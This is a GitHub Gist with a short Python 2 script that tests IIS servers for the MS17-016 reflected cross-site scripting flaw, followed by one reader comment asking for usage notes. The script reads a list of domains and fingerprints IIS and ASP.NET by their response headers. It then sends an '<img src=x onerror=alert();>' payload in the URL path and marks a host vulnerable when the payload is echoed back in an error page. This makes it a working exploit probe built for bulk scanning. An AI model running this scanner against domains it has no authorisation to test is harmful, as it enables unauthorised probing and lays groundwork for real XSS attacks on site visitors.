Last active
April 22, 2019 14:53
-
-
Save bayotop/435171f9f61789fd7a27639c99dba77e to your computer and use it in GitHub Desktop.
Test for XSS in IIS - MS17-016
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from requests import ConnectionError | |
import sys | |
requesttemplate = "http://%s/"; | |
payload = "uncpath/<img src=x onerror=alert();>:" | |
check = { "Microsoft", "ASP.NET", "IIS" } | |
confirm = { "500.19", "<img src=x onerror=alert();>:" } | |
if __name__ == "__main__": | |
if len(sys.argv) != 2: | |
print "Usage: %s <domain_list>" % sys.argv[0] | |
sys.exit() | |
with open(sys.argv[1]) as f: | |
content = f.readlines() | |
content = [x.strip() for x in content] | |
for u in content: | |
try: | |
headers = str(requests.get(requesttemplate % u).headers) | |
if any(pattern in headers for pattern in check): | |
print "Potential: %s" % u | |
content = requests.get((requesttemplate + payload) % u ).content | |
if any(pattern in content for pattern in confirm): | |
print "Confirmed: %s" % u | |
except ConnectionError: | |
pass | |
except KeyboardInterrupt: | |
print "Interrupted by user..." | |
sys.exit(0) | |
except: | |
print "Failed on %s: %s" % (u, sys.exc_info()[1]) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Hey, Thanks for your work.
It would be great if you add a description on how to use and the features of the script and the expected output.